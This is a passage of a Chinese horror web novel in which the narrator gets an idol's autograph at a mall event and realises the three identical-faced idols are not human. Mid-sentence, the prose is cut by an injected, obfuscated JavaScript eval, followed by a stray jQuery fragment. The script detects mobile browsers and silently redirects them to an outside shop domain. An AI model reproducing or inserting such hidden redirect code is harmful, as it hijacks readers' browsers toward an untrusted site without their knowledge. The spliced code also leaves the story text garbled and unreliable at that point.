“别愣着。”
我抬了抬下巴，提醒正中间那位金毛爱豆。
“帮我签名啊。已经九点半了，再拖一会儿，我地铁要赶不上了。”
哥仨的目光没有对我造成丝毫压力。
虽然三张漂亮的脸同时直勾勾盯着一个人，画面多少有点不符合正常偶像营业规范，但要说紧迫感，还是地铁更实际。
金毛爱豆没反应。
他还是保持着刚才那个姿势，双手撑在桌面，上半身微微前倾，眼睛一眨不眨地看着我。离得近了，那种专注感越发明显，仿佛他不是没听见，而是全部注意力都用在了看我这件事上，已经没有多余的部分拿来理解人话。
我皱了下眉。
第一反应是伸手在他脸上拍两下，尝试进行物理唤醒。
但随便拍陌生人的脸毕竟涉嫌违法。握手却是这张券原本包含的合法服务。我刚才虽然说了不必，现在临时改变主意，顶多算把已经核销的项目重新捡起来使用。
于是我伸出手，一把抓起了金毛爱豆撑在桌边的右手。
平衡失调，他却靠另一只手稳住了，身子没有动。
我抓着他的手开始摇。
上下摇了两下。
又左右晃了两下。
摇得很均匀。
他的手倒没有冷得像尸体，甚至还残留着一点正常人的体温，只是僵硬。被我握住以后，手指和手腕都没有第一时间作出反应，整条小臂只是随着我的动作被动晃动，像商场橱窗里那种关节拧得太紧的展示人偶。
我刚准备再晃一轮，他终于眨了一下眼。
眼神慢了半拍才重新聚焦。
“好。”他说。
停了停，又说：“好，好。”
声音还是温柔的，应声却平得发直，像这三个字不是从脑子里出来的，只是被人临时塞进了声带。
我松开手。
金毛爱豆慢慢坐回椅子里，低头拿起桌上的签字笔，又从旁边那摞活动方准备的空白签名板里抽出一张。
然后开始签名。
签得很慢。
之前我站在台下观察流程时，一个签名最多三秒。笔尖一落，手腕一转，一套训练过无数次的花体就能流畅地滑出来，快得像条件反射。
可现在，他的手像冻僵了一样。
手指先是一点点收紧，确认自己还握得住笔。随后笔尖落下，在签名板上停了将近两秒，才拖出第一道墨迹。每一处转折都很迟缓，手腕僵硬地挪动，指节一节节屈伸，仿佛他不仅忘了怎么写字，甚至对“沈栖迟”这个名字本身也不太熟悉，需要临时回忆它应该由哪些笔画组成。
硬质笔尖擦过板面，发出细细的沙沙声。
周围安静得只剩下这个声音。
粉毛和棕毛还在看我。
我转头看向左边。
粉色头发，皮肤很白，眼型精致，鼻梁秀气，唇角还残留着一点没收干净的笑。
很好。
看得很清楚。
我又转头看向右边。
棕色头发，皮肤很白，眼型精致，鼻梁秀气，唇角同样残留着一点没收干净的笑。
也看得很清楚。
然后我发现，自己已经想不起左边那张脸具体长什么样了。
不是完全忘记。
是被覆盖了。
粉毛刚才的眉眼、鼻梁、嘴唇和脸部轮廓，在我视线移开的瞬间便迅速失去边界，和眼前这张棕毛的脸严丝合缝地叠在一起。单独看每一处，明明都有细微差别。可只要我试图把这些细节重新拼成一张完整的脸，最后得到的就永远是同一个结果。
一张标准的、漂亮的、属于白玻璃的脸。
我又看回左边。
同样的事发生了一遍。
这次被覆盖的是右边。
我的脸盲没有随着距离拉近而好转，反而更严重了。站在台下时，我至少还能靠发色把他们分成金、棕、粉。现在距离近到连睫毛都能一根根看清，除了头发颜色，我却找不到第二个能够稳定记住的区别。
至于他们的名字。
还是想不起来。
那些字却像被人从记忆里擦掉了，只留下一点模糊的笔画印子，证明它们曾经存在过。
这不对。
我开始有意识地抵抗这种模糊感。
先看左边。
粉毛仍旧撑着桌子，微微抬着下巴。他的眼睛随着我的视线亮了一下，瞳孔里那种浓得过头的专注几乎立刻压了过来。
那确实是粉丝看白玻璃时的眼神。
狂热，满足，渴望靠近。但他的眼神比那些粉丝更重。
粉丝脸上的狂热会溢出来，挤压眉眼，扯动嘴角，把一张原本正常的脸烫出轻微的扭曲。粉毛没有。他的脸依旧漂亮，干净，精致，脸上每一处线条都停在最适合镜头的位置，甚至连残余的笑意都维持得很标准。
但所有不正常的东西都被压在那双眼睛里。
变成了我形容不出的扭曲。
我转向右边。
棕毛也一样。
连那种压抑的力度都一样。
他的嘴唇很轻地动了一下，喉结跟着滚动，像是想对我说什么。上半身也朝我的方向倾了不到半寸，随即又硬生生停住。最后只有眼睛继续追着我，浓烈得近乎有了重量。
那不像两个人在看我。
更像同一种本能被分别塞进了两张漂亮的脸里，正从左右两边一起朝我望过来。
像被强制压抑住本能的野兽。
或者说。
怪物。
“您的签名。”
金毛爱豆的声音忽然从正前方传来。
我面前的棕毛像被那句话按中了某个开关，上半身瞬间收了回去。余光里，左边的粉毛也在同一刻坐回椅子，嘴角重新弯起柔软而标准的弧度。
那句话像某种口令，瞬间打破了僵持，也把他们一起按回了正常的营业程序里。
我回过头。
他已经恢复了完美的营业笑脸，坐姿端正，眼睛弯起恰到好处的弧度，双手捧着签名板递到我面前。只是那双眼睛里的东西没有消失，依旧带着和刚才一模一样的专注看着我。
我不动声色地往左右扫了一眼。
粉毛和棕毛都微微歪着头，手规规矩矩地放在桌上，脸上挂着同一套干净、柔软、无害的营业笑容。
他们看起来又正常了。
正常得让我胳膊上缓慢爬起了一层鸡皮疙瘩。
不能是看现场没什么人了，所以本性暴露了吧。
这职业道德也不够稳定啊。
“谢了。”
我伸手去拿签名板。
没拿动。
我又往回抽了一下。
还是没动。
金毛爱豆看起来没用什么力。十根手指修长，指甲修剪得干净，指腹只是规规矩矩压在板面边缘，像真心实意地准备把东西交给我。
可就在我用力的同时，他的手指也跟着一点点收紧。
指节没有泛白，手背甚至看不出多么夸张的发力痕迹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745277|209266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，只有腕侧几条细薄的筋慢慢浮起来。签名板被我们一人抓着一边，硬生生绷在中间，边缘已经微微弯曲，他却仍然笑得温柔，连呼吸都没有乱。
我暗暗用力的手停了一下，眼睑微垂。
“以前从来没在演唱会或者别的活动上见过您。”金毛爱豆笑着问，“是新加入的粉丝吗？”
被搭话了。
这个问题本身就不太正常。
白玻璃每天能见到多少张脸，我不清楚。但今天一个下午，光从这张桌子前走过去的人就足够塞满好几节地铁车厢。他不应该记得每一个来过的人，更不应该如此确定，从前从来没见过我。
而且他仍然没有松手。
这场面看起来不像偶像和粉丝聊天。
像一场非常文明的拔河。
左右两边的视线也在这一刻一齐压了过来。
粉毛和棕毛大概也想说话。
粉毛的嘴唇微微张开，棕毛的手指在桌面上蜷了一下。两个人都朝我这边偏了偏头，像有问题已经挤到喉咙口，却又被什么东西按了回去。最后还是没人出声，只是继续笑着看我。
我思考了两秒，抬起眼。
“不算粉丝。”我说，“朋友是。她临时加班来不了，我替她来的。”
金毛爱豆露出一点很标准的遗憾。
“那太可惜了。”他说，“可以告诉我您朋友的名字吗？”
他说着，终于把签名板往自己那边收了几厘米。另一只手重新拿起笔，笔尖悬在刚才那串签名后面，安静地等着。
我毫不犹豫地报了个假名。
是个很普通的名字。普通到扔进中心城的人群里，至少能有三个人同时回头。
金毛爱豆听完，笑容明显更深了一点。
他的动作忽然又恢复了先前那种训练有素的爽利。笔尖落下，在签名后面流畅地补了一个花体的“TO”，接着写下我刚才随口编出的名字。手腕转动自然，落笔轻快，和几十秒前那种仿佛连关节都冻住的迟缓判若两人。
写完以后，他重新把签名板递给我。
这一次，他松手了。
“谢谢您的支持。”他说。
左边一个一样的笑容。
右边也是。
我接过签名板，没什么表情地礼貌道谢。
“谢谢。”
随后转身离开。
商场仍然是正常的。
闭店前的提示音乐从头顶缓慢流下来，远处有店员在整理柜台，清洁车的轮子碾过地砖，自动扶梯仍在运转。刚才那种过分的安静像是只存在于活动台周围的一小块区域，我走出几步，属于现代商业社会的声音便重新一层层包了上来。
可那三道目光没有消失。
它们黏在我背后。
不是落在某一个具体的位置，而是从后颈一路贴到脊背，随着我向前走，一寸一寸跟着移动。像商品上刚撕掉的价签，纸已经没了，底下的胶却还牢牢粘着。
我没有回头验证。
没必要。
而且我还要赶地铁。
我把签名板夹在手臂内侧，刚走出中庭，口袋里的手机就震了起来。
一下。
又一下。
我脚步没停，单手把手机掏出来，划开屏幕。
陌生号码。
老朋友又来给我发送生存须知了。
“如果你无法分清面前的几张脸。”
“不要和多脸人说话。”
“也不要接受多脸人递给你的任何东西。”